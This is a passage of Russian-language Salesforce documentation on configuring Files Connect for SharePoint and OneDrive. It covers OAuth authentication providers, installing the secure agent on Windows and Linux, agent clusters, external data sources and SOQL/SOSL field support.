5. Заполните поля ниже.

• «Код приложения»: введите код клиента, скопированный в текстовыйфайл, ищелкните «Поиск».

• «Заголовок»: сохраните стандартное значение.

• «Домен приложения»: сохраните стандартное значение.

• «URL-адрес перенаправления»: сохраните стандартное значение.

• «XML-запрос разрешения»: введите строку следующего формата:

SharePoint Online

<AppPermissionRequests>
<AppPermissionRequest Scope="[SCOPE]" Right="[PLACEHOLDER]"/>
</AppPermissionRequests>
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OneDrive for Business

<AppPermissionRequests>
<AppPermissionRequest Scope="http://sharepoint/content/tenant"
Right="[PLACEHOLDER]"/>
<AppPermissionRequest Scope="http://sharepoint/social/tenant" Right="Read"/>
</AppPermissionRequests>

6. Для SharePoint Online замените [SCOPE] одним из указанных ниже значений.

Важное замечание: Приложение Office 365 распознает только данные URL-адреса. Рекомендуем скопировать их
без изменений.

• http://sharepoint/content/sitecollection/web для предоставления пользователям доступа к
отдельному сайту (но не его подсайтам).

• http://sharepoint/content/sitecollection дляпредоставленияпользователямдоступакотдельному
семейству сайтов (включая все подсайты).

• http://sharepoint/content/tenant для предоставления пользователям доступа ко всем семействам
сайтов.

7. Замените [PLACEHOLDER] одним из указанных ниже значений.

• Чтение

• Запись

• Управление

• Полный контроль

Сведения о различиях между уровнями полномочий выше см. на веб-сайте Microsoft.

8. Нажмите кнопку «Создать».

Редактирование поставщика проверки подлинности
Теперь замените исходные значения структурных нулей в системе Salesforce правильными значениями из приложения
Office 365.

1. В разделе «Настройка» введите «Поставщики проверки подлинности» в поле «Быстрый поиск», затем выберите
«Поставщики проверки подлинности».

2. Щелкните ссылку «Правка» напротив созданного ранее поставщика проверки подлинности.

3. Измените значения ниже.

• «Ключ пользователя»: введите код клиента, скопированный в текстовыйфайл.

• «Секрет пользователя»: введите секрет клиента, скопированный в текстовыйфайл.

• «URL-адрес конечной точки авторизации»: введите URL-адрес страницы OAuthAuthorize.aspx вприложении Office
365. URL-адрес должен иметь следующийформат:

SharePoint Online
https://[название компании].sharepoint.com/[путь к семейству
сайтов]/_layouts/15/OauthAuthorize.aspx

OneDrive for Business
https://[название компании]-my.sharepoint.com/_layouts/15/OauthAuthorize.aspx
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• «URL-адрес конечной точки маркера»: введите URL-адрес следующего формата:

SharePoint Online
https://accounts.accesscontrol.windows.net/[название
компании].onmicrosoft.com/tokens/OAuth/2?resource=00000003-0000-0ff1-ce00-000000000000/[название
компании].sharepoint.com@[название компании].onmicrosoft.com

OneDrive for Business
https://accounts.accesscontrol.windows.net/[название
компании].onmicrosoft.com/tokens/OAuth/2?resource=00000003-0000-0ff1-ce00-000000000000/[название
компании]-my.sharepoint.com@[название компании].onmicrosoft.com

4. Нажмите кнопку «Сохранить». Теперь поставщик проверки подлинности готов к использованию.

СМ. ТАКЖЕ:

Процесс настройки Files Connect

Определение внешнего источника данных для SharePoint Online или
OneDrive for Business

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения внешнего
источника данных:
• «Настройка

приложения»

Система Salesforce может получать доступ к содержимому облачных систем Microsoft
посредством Files Connect и Chatter.

1. Введите строку «Внешние источники данных» в поле «Быстрый поиск» в меню
«Настройки», затем выберите пункт «Внешние источники данных».

2. Нажмите кнопку «Создать внешний источник данных». Затем заполните поля
ниже.

ОписаниеПоле

Понятное имя источника данных,
отображаемое в пользовательском
интерфейсе Salesforce.

Метка

Уникальный идентификатор,
используемый для обращения к
определению внешнего источника
данных посредством API. Поле «Имя»
может содержать только буквы, цифры
и символы подчеркивания. Имя должно
быть уникальным и начинаться с буквы;
не может содержать пробелов и двух
последовательных символов

Имя

подчеркивания, а также не может
заканчиватьсясимволомподчеркивания.

Выберите значение «Files Connect:
Microsoft SharePoint Online или Files
Connect: Microsoft OneDrive for Business.

Тип
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ОписаниеПоле

URL-адрес сайта SharePoint, семейства сайтов или
веб-приложения.

URL-адрес сайта

Важное замечание:  URL-адрес должен начинаться
с протокола https и заканчиваться именем сайта.
(Не рекомендуем копировать URL-адрес,
отображаемый обозревателем при открытии
SharePoint.)

Данный параметр предоставляет доступ только к
семейству, указанному URL-адресом. Другие связанные
семейства пропускаются.

Исключить другие семейства сайтов

Тип удостоверения, используемый для проверки
подлинности внешнего источника данных.

Выберите значение «На пользователя»,
предоставляющеедоступкисточникуданныхпослеввода

Тип удостоверения

регистрационных данных каждого пользователя.
(Администраторы должны включить источник данных
дляконкретныхнаборовполномочийипрофилей. Затем
пользователи вводят свои регистрационные данные при
первоначальном доступе к источнику данных).

Выберите значение «Названный субъект»,
позволяющееиспользоватьодиннаборрегистрационных
данных для каждого пользователя, просматривающего
источник данных из системы Salesforce.

Протокол, используемый для доступа к SharePoint Online.

Выберите значение «OAuth 2.0».

Протокол проверки подлинности

Введите поставщика проверки подлинности SharePoint
Online.

Поставщик проверки подлинности

Пропустите данное поле.Область

Чтобы немедленно протестировать параметры выше,
установите данныйфлажок.

Начать процесс проверки подлинности при сохранении

СМ. ТАКЖЕ:

Процесс настройки Files Connect
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Настройка безопасного агента для SharePoint 2010 или 2013

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки безопасного
агента:
• «Настройка

приложения»

Безопасный агент обеспечивает безопасный обмен данными между системой Salesforce
и локальными данными в SharePoint 2010 и 2013.

Прим.: Процесс настройки безопасного агента требует приобретения лицензии
набора полномочий «Files Connect для локальных внешних источников данных».
Сведения о лицензиях на набор полномочий см. в справке Salesforce.

Чтобы полностью настроить безопасного агента, выполните перечисленные ниже
действия.

1. Создание связанного приложения для безопасного агента

2. Создание профиля и пользователя для безопасного агента

3. Создание агента в системе Salesforce и загрузка программы установки на сервер

4. Установка и запуск агента на сервере Windows или сервере Linux

5. Установка модулей безопасного агента для локального источника данных

6. Обновление установленных ранее модулей

7. Импорт любых обязательных сертификатов

8. Отслеживание действий безопасного агента и устранение неполадок

Совет: Просмотрите данный обучающий видеокурс по настройке безопасного
агента.

Создание связанного приложения для безопасного агента
1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и выберите «Приложения».

2. Нажмите кнопку «Создать» в разделе «Связанные приложения».

3. Заполните перечисленные ниже поля раздела «Основные сведения».

• «Имя связанного приложения»: введите отличительное имя.

• «API-имя»: сохраните стандартное значение.

• «Адрес эл. почты контакта»: введите адрес администратора.

4. Установите флажок «Включить параметры OAuth» в разделе «API» и заполните поля ниже.

• «URL-адрес обратного вызова»: введите значение https://login.salesforce.com для экземпляра
производственной среды или значение https://test.salesforce.com для безопасной среды.

• «Использовать цифровые сигнатуры»: снимите данныйфлажок.

• «Выбранные области OAuth»: добавьте значения «Доступиуправлениеданными (api)» и «Выполнение запросов
от имени пользователя (refresh_token, offline_access)».

5. Нажмите кнопку «Сохранить».

6. Введите строку «Связанные приложения» в поле «Быстрый поиск» в меню «Настройка», затем выберите параметр
управления связанными приложениями.

7. Щелкните ссылку «Правка» напротив нового приложения и заполните поля ниже.
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«Разрешенные пользователи»: выберитезначение «Пользователи, допущенныеадминистратором, предварительно
авторизованы».

•

• «Смягчение ограничений IP-адресов»: выберите значение «Смягчить ограничения IP-адресов».

8. Нажмите кнопку «Сохранить».

Создание профиля и пользователя для безопасного агента
1. Введите строку «Профили» в поле «Быстрый поиск» в меню «Настройка» и выберите «Профили».

2. Щелкните ссылку «Клонировать» напротив профиля «Стандартный пользователь».

3. Введите отличительное имя в поле «Имя профиля».

4. Нажмите кнопку «Сохранить».

5. Щелкните ссылку «Правка» напротив нового профиля.

6. Выберите созданное связанное приложение в разделе «Доступ к связанному приложению».

7. Установите флажок «Изменение безопасных агентов» в разделе «Полномочия администратора».

8. Нажмите кнопку «Сохранить».

9. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Пользователи».

10. Нажмите кнопку «Создать пользователя».

11. Выберите созданныйпрофиль из раскрывающегося списка «Профиль». Затем заполните оставшиеся обязательные
поля и нажмите кнопку «Сохранить».

Важное замечание: Обязательно снимитефлажок «Создать пароль и немедленно уведомить пользователя».

Создание агента в системе Salesforce и загрузка программы установки на сервер
1. Введите строку «Безопасные агенты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Безопасные

агенты».

2. Нажмите кнопку «Создать безопасный агент».

3. Заполните поля «Метка» для пользовательского интерфейса и «Имя» для API.

Прим.: Внимательно выбирайте метку, поскольку изменить ее невозможно. Надежное подключение Salesforce
к агенту зависит от непротиворечивости меток.

4. Введите имя созданного пользователя в поле «Пользователь прокси-сервера».

5. Нажмите кнопку «Сохранить».

6. Щелкните«Загрузитьпрограммуустановки»настраницесведенийивыберите«Агент Linux»или«Агент Windows».

7. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Приложения», а
затем щелкните имя созданного связанного приложения. Затем скопируйте значение поля «Ключ пользователя» из
раздела «API» в текстовыйфайл.

8. Скопируйте текстовыйфайл и загруженный установочныйфайл (sfdc-agent.zip для Windows или sfdc-agent.run для
Linux) на сервер.

Важное замечание: Убедитесь в предоставлении серверу доступа к системе Salesforce и локальному источнику
данных, а также в наличии Java 6.x или 7.x.
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Установка и запуск агента на сервере Windows
1. Извлеките файлы из архива sfdc-agent.zip. Затем дваждыщелкните файл SecureAgentInstaller.exe.

2. Нажмите кнопку «Далее» и введите папку установки. Нажмите кнопку «Далее» и завершите начальную установку.

3. Приотображенииокна конфигурациивведитепараметрыпрокси-сервера, используемыедляподключенияк системе
Salesforce.

Совет: Чтобыизменитьнастройкипрокси-серверапосле установки (например, для вводановогопароля), введите
команду agent:proxyconfig в интерфейсе агента.

4. При отображении запроса на выбор типа сервера входа выберите значение «Production» или «Sandbox».

Совет: Последующееизменениеэтогоиследующихпараметровконфигурациипотребуетудаленияиповторной
установки агента.

5. Приотображениизапросанавводключаклиента OAuth введите значениеполя «Ключпользователя», скопированное
в текстовыйфайл.

6. Выберите один из указанных ниже параметров шифрования.

• «Создать»: для создания случайной пары открытого и секретного ключей длиною 1 024 бит. См. параметр
Повторное использование существующего сертификата, если нужен другой размер ключа. Запомните
отображаемыйпутьк созданномуфайлусертификата *.509. Этотпутьбудетиспользоватьсяв ссылкевприложении,
связанному к Salesforce.

• «Использовать текущее хранилище ключей повторно»: для повторного использования пары ключей из
предыдущей установки агента. Хранилище ключей находится по этому адресу: [папка установки
агента]\etc\auth.jks.

Прим.: При выборе текущего хранилища ключей перейдите к действию 10.

• «Использовать текущий сертификат повторно»: для выбора собственного сертификата и секретного ключа.
Этот параметр позволяет использовать другой размер ключа. Дополнительную информацию можно получить
в компании Salesforce.

7. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» Salesforce и выберите «Приложения».

8. Щелкните ссылку «Правка» напротив связанного приложения и установите флажок «Использовать цифровые
сигнатуры».

9. Нажмите кнопку «Выбратьфайл» и выберите сертификат *.509. Затем нажмите кнопку «Сохранить».

10. Вернитесь к программе установки агента и нажмите кнопку «Далее» для завершения установки.

11. Чтобы запустить данную службу на сервере, щелкните «Установить агент как службу».

Совет: Чтобы получить доступ к службе в операционной системе Windows, последовательно выберите пункты
«Пуск» > «Администрирование» > «Службы».

Установка и запуск агента на сервере Linux
1. Запустите программу установки посредством одной из перечисленных ниже команд.

• Экземпляр производственной среды:

./sfdc-agent.run
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• Экземпляр безопасной среды:

./sfdc-agent.run -l https://test.salesforce.com

• Экземпляр производственной среды с собственной парой открытого и секретного ключей:

./sfdc-agent.run –l https://login.salesforce.com -p [private key filename].PKCS8 -f
[public key filename].X509

• Экземпляр производственной среды с хранилищем ключей, созданным во время предыдущей установки:

./sfdc-agent.run –l https://login.salesforce.com -j [path to *.jks file]

JKS-файл находится по следующему пути: [папка установки агента]/etc/auth.jks.

2. Чтобы задать папку установки и параметры прокси-сервера, выполните инструкции, отображаемые на экране.

Совет: Чтобы изменить параметры прокси-сервера после установки, введите команду agent:proxyconfig
в интерфейсе агента.

3. Приотображениизапросанавводключаклиента OAuth введите значениеполя «Ключпользователя», скопированное
в текстовыйфайл.

Прим.: При выборе хранилища ключей, созданного во время предыдущей установки, перейдите к действию 8.

4. Приотображениисоответствующегозапроса создайтеслучайнуюпаруоткрытогоисекретногоключейдлиной 1 024
бит. Запомните отображаемый путь к созданномуфайлу сертификата *.509. Этот путь будет использоваться в ссылке
в приложении, подключенному к Salesforce.

Прим.: Свяжитесь с Salesforce, если вам необходимо использовать ключ другого размера.

5. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» Salesforce и выберите «Приложения».

6. Щелкните ссылку «Правка» напротив связанного приложения и установите флажок «Использовать цифровые
сигнатуры».

7. Нажмите кнопку «Выбратьфайл» и выберите сертификат *.509. Затем нажмите кнопку «Сохранить».

8. Вернитесь к программе установки агента и нажмите клавишу Enter для завершения установки.

9. Чтобы запустить агент, воспользуйтесь следующей командой: [папка установки агента]/bin/start.

Установка модулей безопасного агента для локального источника данных
Чтобы подключить безопасный агент к внешнему источнику данных в системе Salesforce, рекомендуем установить
соответствующие модули.

1. Введите строку «Безопасные агенты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Безопасные
агенты».

2. Чтобы открыть страницу сведений, щелкните имя нужного агента.

3. Нажмите кнопку «Создать» в списке «Модули безопасного агента».

При использовании SharePoint 2010 или 2013 рекомендуем установить указанные ниже модули.

• Files Connect SharePoint

• Files Connect Remote Connector Service
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• Secure Transport Client Service

4. Чтобы установить модуль, выберите нужный модуль из меню «Тип», введите отличительное имя и нажмите кнопку
«Сохранить». Повторите данный процесс для каждого обязательного модуля.

Обновление установленных ранее модулей
При наличии доступных обновлений администраторы получают еженедельные электронные уведомления.

1. Введите строку «Безопасные агенты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Безопасные
агенты».

2. Щелкните ссылку «Правка» напротив модуля, для которого столбец «Обновление доступно» отображает значение
«Да», в списке «Модули безопасного агента».

3. Установитефлажок «Обновить до рекомендованной версиипри сохранении» и нажмите кнопку «Сохранить».

Импорт любых обязательных сертификатов
Чтобы получить доступ к командам, нажмите клавишу TAB в интерфейсе агента. Если сервер SharePoint требует наличия
сертификата, подписываемогосамостоятельно, илисертификата, подписанногонеофициальнымцентром, воспользуйтесь
командой rcs:importcert. Затем введите путь для импорта сертификата, подписываемого самостоятельно, или
корневого сертификата центра в хранилище доверия безопасного агента.

Команда rcs:listcert возвращает все сертификаты, доступные в хранилище доверия в настоящее время, а команда
rcs:deletecert удаляет указанный сертификат из хранилища.

Отслеживание действий безопасного агента и устранение неполадок
Загрузите системные журналы для точного отслеживания событий агента.

1. Введите строку «Безопасные агенты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Безопасные
агенты».

2. Чтобыоткрыть страницу сведенийоранее созданномбезопасном агенте, щелкнитеимянужногобезопасного агента.

3. Щелкните любой из указанных ниже параметров.

• «Загрузитьжурналы»: для загрузки сжатого архивного файла, содержащего текстовые журналы.

• «Загрузить диагностику»: для просмотра текущего состояния агента, включая список установленных модулей
и состояние виртуальной машины Java.
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Обеспечение доступа с помощью кластеров безопасного агента

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки кластеров
безопасного агента:
• «Настройка

приложения»

Кластеры безопасного агента обеспечивают отказоустойчивость, благодаря чему
пользователи Salesforce всегдаимеютдоступквнешнимлокальнымисточникамданных,
например SharePoint 2010 или 2013.

Прим.: Процесс настройки безопасного агента требует приобретения лицензии
набора полномочий «Files Connect для локальных внешних источников данных».
Сведения о лицензиях на набор полномочий см. в справке Salesforce.

Создание кластера безопасного агента
1. Создайтенесколькобезопасныхагентовнаразныхсерверах, повторивприведенную

ниже процедуру. Настройка безопасного агента.

2. Введите «Кластеры безопасного агента» вполе «Быстрый поиск» вменю «Настройка»,
затем выберите «Кластеры безопасного агента».

3. Нажмите кнопку «Создать кластер безопасного агента».

4. Заполните поля «Метка» для пользовательского интерфейса и «Имя» для API.

5. Чтобы добавить в кластер доступных агентов, выберите их и нажмите кнопку
«Добавить».

Можно изменить порядок приоритетности использования агентов, перемещая их
вверх или вниз по списку «Выбранные защищенные агенты». Доступный агент с
самым высоким приоритетом используется в первую очередь.

6. Нажмите кнопку «Сохранить».

Проверка состояния кластера
1. Введите «Кластеры безопасного агента» в поле «Быстрый поиск» в меню «Настройка», затем выберите «Кластеры

безопасных агентов».

2. Чтобы открыть страницу сведений, щелкните по имени нужного кластера.

3. Обратите внимание на общее состояние кластера. Зеленый означает, что все агенты доступны, желтый — доступны
только некоторые, красный — не доступен ни один агент.

4. Обратите внимание на состояние отдельных агентов и следующие дополнительные сведения.

• В столбце «Приоритет» показан порядок использования агентов. Чтобы изменить приоритет, нажмите кнопку
«Правка» и переместите агентов вверх или вниз по списку «Выбранные защищенные агенты».

• В столбце «Активный» указывается, какой агент используется в настоящее время.
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Определение внешнего источника данных для SharePoint 2010 или 2013

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения внешнего
источника данных:
• «Настройка

приложения»

Предоставьте системе Salesforce доступ к данным, размещенным в локальной системе.
Воспользуйтесь Files Connect и Chatter.

Прим.: Процесснастройки требует приобретениялицензиинабораполномочий
«Files Connect для локальных внешнихисточников данных». Сведения о лицензиях
на набор полномочий см. в справке Salesforce.

1. Введите строку «Внешние источники данных» в поле «Быстрый поиск» в меню
«Настройки», затем выберите пункт «Внешние источники данных».

2. Нажмите кнопку «Создать внешний источник данных». Затем заполните поля
ниже.

ОписаниеПоле

Понятное имя источника данных,
отображаемое в пользовательском
интерфейсе Salesforce.

Метка

Уникальный идентификатор,
используемый для обращения к
определению внешнего источника
данных посредством API. Поле «Имя»
может содержать только буквы, цифры

Имя

и символы подчеркивания. Имя должно
быть уникальным и начинаться с буквы;
не может содержать пробелов и двух
последовательных символов
подчеркивания, а также не может
заканчиватьсясимволомподчеркивания.

Выберите значение «Files Connect:
Microsoft SharePoint

Тип

Служба, выполняемая на сервере Linux
или Windows во внутрикорпоративной

Безопасный агент

сети, которая гарантирует безопасное
подключение системы Salesforce к
локальномусерверу SharePoint. См. раздел
«Настройка безопасного агента для
SharePoint 2010 или 2013».

URL-адрес сайта SharePoint, семейства
сайтов или веб-приложения.

URL-адрес сайта

Важное замечание:  URL-адрес
должен начинаться с протокола
httpsизаканчиватьсяименемсайта.
(Не рекомендуем копировать
URL-адрес, отображаемый
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ОписаниеПоле

обозревателем при открытии SharePoint.)

Тип удостоверения, используемый для проверки
подлинности внешнего источника данных.

Выберите значение «На пользователя»,
предоставляющеедоступкисточникуданныхпослеввода

Тип удостоверения

регистрационных данных каждого пользователя.
(Администраторы должны включить источник данных
дляконкретныхнаборовполномочийипрофилей. Затем
пользователи вводят свои регистрационные данные при
первоначальном доступе к источнику данных).

Выберите значение «Названный субъект»,
позволяющееиспользоватьодиннаборрегистрационных
данных для каждого пользователя, просматривающего
источник данных из системы Salesforce.

Протокол, необходимый для доступа к SharePoint.

Выберитезначение«Проверкаподлинностипаролей».

Протокол проверки подлинности

(Данный параметр поддерживает обычную проверку
подлинности HTTP и проверку подлинности NTLM.)

Имя пользователя, используемое системой Salesforce для
тестирования подключения к SharePoint. Данное имя

Имя пользователя администратора

пользователя может не принадлежать администратору
SharePoint. Тем не менее, убедитесь, что используемым
регистрационным данным предоставлены полномочия,
необходимые для доступа к источнику данных,
выполнения поисков и просмотра информации.

Пароль, используемый системой Salesforce для
тестирования подключения к SharePoint.

Пароль администратора

Прим.: Если веб-приложение поддерживает анонимный доступ, то пользователи Salesforce не могут получать
доступ к SharePoint 2010.

СМ. ТАКЖЕ:

Процесс настройки Files Connect
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Добавление источника данных Files Connect в глобальный поиск

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Files Connect для внешних
источников данных на
основе облака доступен в
следующих версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect для локальных
внешних источников
данных доступен за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания внешнего
объекта и предоставления
доступа к его полям:
• «Настройка

приложения»

Система позволяет объединять поиски данных Salesforce с внешними данными Google
Drive, SharePoint или OneDrive for Business. Разработчики могут использовать API для
автоматизации процесса посредством поддерживаемых запросов SOQL или SOSL.

Внешние данные могут быть добавлены в глобальные поиски или запросы API только
после создания связанного внешнего объекта. Внешние объекты похожи на
настраиваемые объекты, но соотносятся с данными, которые хранятся вне Salesforce во
внешних системах (например, SharePoint). Каждый внешний объект соотносится с
таблицей данных, а поля объекта соотносятся с доступными столбцами таблицы.

Совет: Внешние объекты поддерживают взаимосвязи поиска аналогично
настраиваемым объектам, позволяя интегрировать внешние данные в связанные
списки и другие области системы Salesforce. Дополнительную информацию см. в
разделе «Взаимосвязи внешних объектов».

Чтобы полностью настроить глобальный поиск, выполните перечисленные ниже
действия.

1. Выбор макета для результатов глобального поиска

2. Создание внешнего объекта из внешнего источника данных

3. Предоставление пользователям доступа к полям внешнего объекта

Чтобы выполнить поиск SOQL или SOSL автоматически, просмотрите поддерживаемые
запросы для вашего источника данных:

• Поддержка SOQL и SOSL для SharePoint и внешних объектов OneDrive

• Поддержка SOQL и SOSL для внешних объектов Google Drive

Выбор макета для результатов глобального поиска
Поумолчаниювнешниеобъекты Files Connect используютстандартныймакетрезультатов
поискадлявкладок Chatter и «Файлы». Чтобыразрешитьданнымобъектамиспользование
настраиваемых макетов поиска, выполните указанные ниже действия.

1. В разделе «Настройка» введите «Параметры Files Connect» в поле «Быстрый
поиск», затем выберите «Параметры Files Connect».

2. Установите флажок «Использовать макет поиска внешнего объекта».

Создание внешнего объекта из внешнего источника данных
1. Определите внешний источник данных, поддерживающий поиск.

• SharePoint Online или OneDrive for Business

• SharePoint 2010 или 2013

• Google Drive

2. В разделе «Настройка» введите «Внешние источники данных» в поле «Быстрый поиск», и выберите пункт «Внешние
источники данных».

3. Чтобы открыть страницу сведений, щелкните имя нужного источника данных.
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4. Нажмите кнопку «Проверить и синхронизировать».

5. Выберите таблицу по имени «items_[источник данных]». Чтобы создать внешний объект, который соотносится со
всем источником, щелкните «Синхронизировать».

Чтобы предоставить пользователям доступ к данным, разверните созданный объект.

6. Последовательно выберите пункты «Разработать» > «Разработать» > «Внешние объекты».

7. Щелкните ссылку «Правка» напротив нового внешнего объекта.

8. Щелкните «Развернуто» внизу страницы и нажмите кнопку «Сохранить».

Предоставление пользователям доступа к полям внешнего объекта
1. Введите строку «Наборы полномочий» в поле «Быстрый поиск» меню «Настройка» и выберите пункт «Наборы

полномочий».

2. Щелкните набор полномочий, поддерживающий Files Connect.

3. Щелкните ссылку «Параметры объекта» в разделе «Приложения».

4. Щелкните имя нужного внешнего объекта.

5. Нажмите кнопку «Правка» и включите необходимые полномочия «Чтение» (для самого объекта и всех его полей).

6. Нажмите кнопку «Сохранить».

Поддержка SOQL и SOSL для SharePoint и внешних объектов OneDrive
Внешниеобъекты SharePoint и OneDrive поддерживаютэтистандартныеполяилюбыенастраиваемыеполя, активированные
пользователем.

Прим.: Запросы для конкретных полей возвращают только документы, индексированные внешним источником
данных.

Доступно для сортировкиДоступно для запросаИмя поля

ДаДаAuthor

ДаНетComment

ДаДаContentLength

ДаДаCreationDate

ДаНетDisplayUrl

НетНетDownloadUrl

ДаДаExternalId

ДаДаIsFolder

Прим.: Не поддерживается для
SharePoint 2010 или 2013.

ДаДаMimeType
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Доступно для сортировкиДоступно для запросаИмя поля

ДаДаName

ДаДаUpdateDate

ДаДаUpdatedBy

Прим.: Принеобходимостивоспользуйтесь ParentId_c каккритериемзапросадляизвлеченияспискадокументов
впапке. Темнеменее, данноеполеотображается врезультатах запроса толькоприналичиизначения ParentId__c.

Поддержка SOQL и SOSL для внешних объектов Google Drive
Files Connect поддерживает все стандартные свойства Google Drive, нонепользовательские свойства. Следующие свойства
обладают различными именами полей во внешних объектах Salesforce:

Поле SalesforceСвойство Google

DisplayUrlalternateLink

CreationDatecreateDate

Комментарийописание

contentStreamUridownloadURL

readOnlyeditable

ContentLengthfileSize

ExternalIdid

UpdatedBylastModifyingUserName

MimeTypemimeType

UpdateDatemodifiedDate

АвторownerNames

contentStreamFileNameoriginalFilename

Имяtitle

Этот набор полей поддерживает запросы SOQL и SOSL. (Они не сортируются, что соответствует ограничениям Google
Drive API.)

• CreationDate

• lastViewedByMeDate

• MimeType

• Имя
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Прим.: Запросы Google Drive для поля «Имя» поддерживают только один подстановочный символ, %. Поиск
с использованием этого подстановочного символа возвращает только префиксы имен. Например при поиске
заголовка «HelloWorld» запрос Name LIKE "Hello%" будет разрешен, а запрос Name LIKE "%World" —
нет.

• sharedWithMe

Прим.: Запросы для поля sharedWithMe со значением «false» не поддерживаются, что защищает
конфиденциальные данные.

• starred

• UpdateDate

СМ. ТАКЖЕ:

Процесс настройки Files Connect

Добавление настраиваемых свойств SharePoint в запросы поиска, SOQL и SOSL
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Добавление настраиваемых свойств SharePoint в запросы поиска, SOQL и
SOSL

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Files Connect для внешних
источников данных на
основе облака доступен в
следующих версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect для локальных
внешних источников
данных доступен за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания внешнего
объекта и предоставления
доступа к его полям:
• «Настройка

приложения»

После создания внешнего объекта для источника данных SharePoint рекомендуем
выполнить некоторые дополнительные действия для поиска или запроса его
настраиваемых свойств.

Настройка настраиваемых свойств в SharePoint
Внешние объекты в системе Salesforce позволяют выбирать и фильтровать данные
настраиваемые свойства из SharePoint:

• Настраиваемые столбцы, определенные в типе настраиваемого содержимого

• Метаданные из Microsoft Word, Microsoft Excel и других документов Office

Прежде чем выполнить поиск данных настраиваемых свойств в системе Salesforce,
убедитесь в наличии соответствующего управляемого свойства, созданного
администратором SharePoint.

• Чтобы отобразить данные свойства в полях внешнего объекта или применить их в
условии SELECT запроса SOQL или SOSL, задайте соответствующему управляемому
свойству значение Retrievable. (При использовании SharePoint 2010 данный
параметр называется «Разрешить использование этого свойства в областях».)

• Чтобыотфильтровать данные свойства во внешних объектах или применить их как
критерии запроса в условии WHERE запроса SOQL или SOSL, задайте
соответствующему управляемому свойству значение Queryable.

Запрос результирующих полей в системе Salesforce
В примерах ниже CustomProperty является именем настраиваемого столбца,
определенногов типенастраиваемогосодержимого, илиименемметаданныхдокумента
Office. ManagedCustomProperty является именем соответствующего управляемого
свойства.

SharePoint 2010
Рекомендуем использовать CustomProperty в условии SELECT и
ManagedCustomProperty в условии WHERE. Внешнийобъектв системе Salesforce
должен содержать два соответствующих поля: одно для выбора, а другое для
фильтрации.

См. пример SOQL ниже.

SELECT CustomProperty FROM items_sp2010_x WHERE ManagedCustomProperty=...

SharePoint 2013 и SharePoint Online
В большинстве случаев ManagedCustomProperty может использоваться как условием SELECT, так и условием
WHERE.

См. пример SOQL ниже.

SELECT ManagedCustomProperty FROM items_sp2013_x WHERE ManagedCustomProperty=...
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Тем не менее, при наличии типов файлов, которые не индексируются SharePoint для поиска (например, файлы JPG,
PNG и PDF), рекомендуем использовать CustomProperty в условии SELECT и ManagedCustomProperty в
условии WHERE. В качестве временного решения рекомендуем определить псевдоним для управляемого свойства в
SharePoint и отформатировать запросы следующим образом:

SELECT Alias FROM items_sp2013/Online WHERE Alias=...

Совет: Как правило, настраиваемые свойства не отображаются на страницах сведений о внешних объектах;
определение псевдонима также помогает решить данную проблему.

Логические настраиваемые свойства
При использовании логических настраиваемых свойств с соответствующим управляемым свойством, которому задан
тип «Текст», соответствующему полю внешнего объекта также должен быть задан тип «Текст». Значения «0» и «1»
обрабатываются фильтрами как «ложь» и «истина». Например:

WHERE customBooleanWithTextManagedProperty=”1”

Кроме того, значения «0» и «1» отображаются как результаты, поэтому оптимальным для логических настраиваемых
свойств считается правильное использование управляемого свойства типа «YesNo». В данном случае рекомендуем задать
соответствующему полю внешнего объекта тип «Кнопка-флажок» для его запроса посредством стандартных значений
true и false. Например:

WHERE customBooleanWithYesNoManagedProperty=true

Метаданные в документах Microsoft Office
Службапоиска SharePoint возвращает всеметаданныеиз документов Office в виде строк, поэтому соответствующимполям
внешнего объекта должен быть задан тип «Текст».

Даты возвращаются в формате ММ/ДД/ГГГГ чч:мм:сс AM/PM (например, «3/31/2015 9:59:00 PM»). Прежде чем запросить
поля посредством типа «Дата», убедитесь, что внешний объект содержит соответствующее поле даты для фильтрации
и текстовое поле для выбора.

Ограничения для определенных типов свойств SharePoint в системе Salesforce
Все версии

• Свойства типа «Число», «Валюта» и «Выбор (раскрывающийся список)» не могут быть выбраны при наличии
типов файлов, которые не индексируются SharePoint для поиска (например, файлы JPG, PNG и PDF).

SharePoint 2010

• Свойства типа «Числа» и «Выбор + флажки» не могут быть выбраны.

• Свойства типа «Дата» могут быть выбраны, но вероятно будут возвращаться не по Гринвичу, поэтому значения
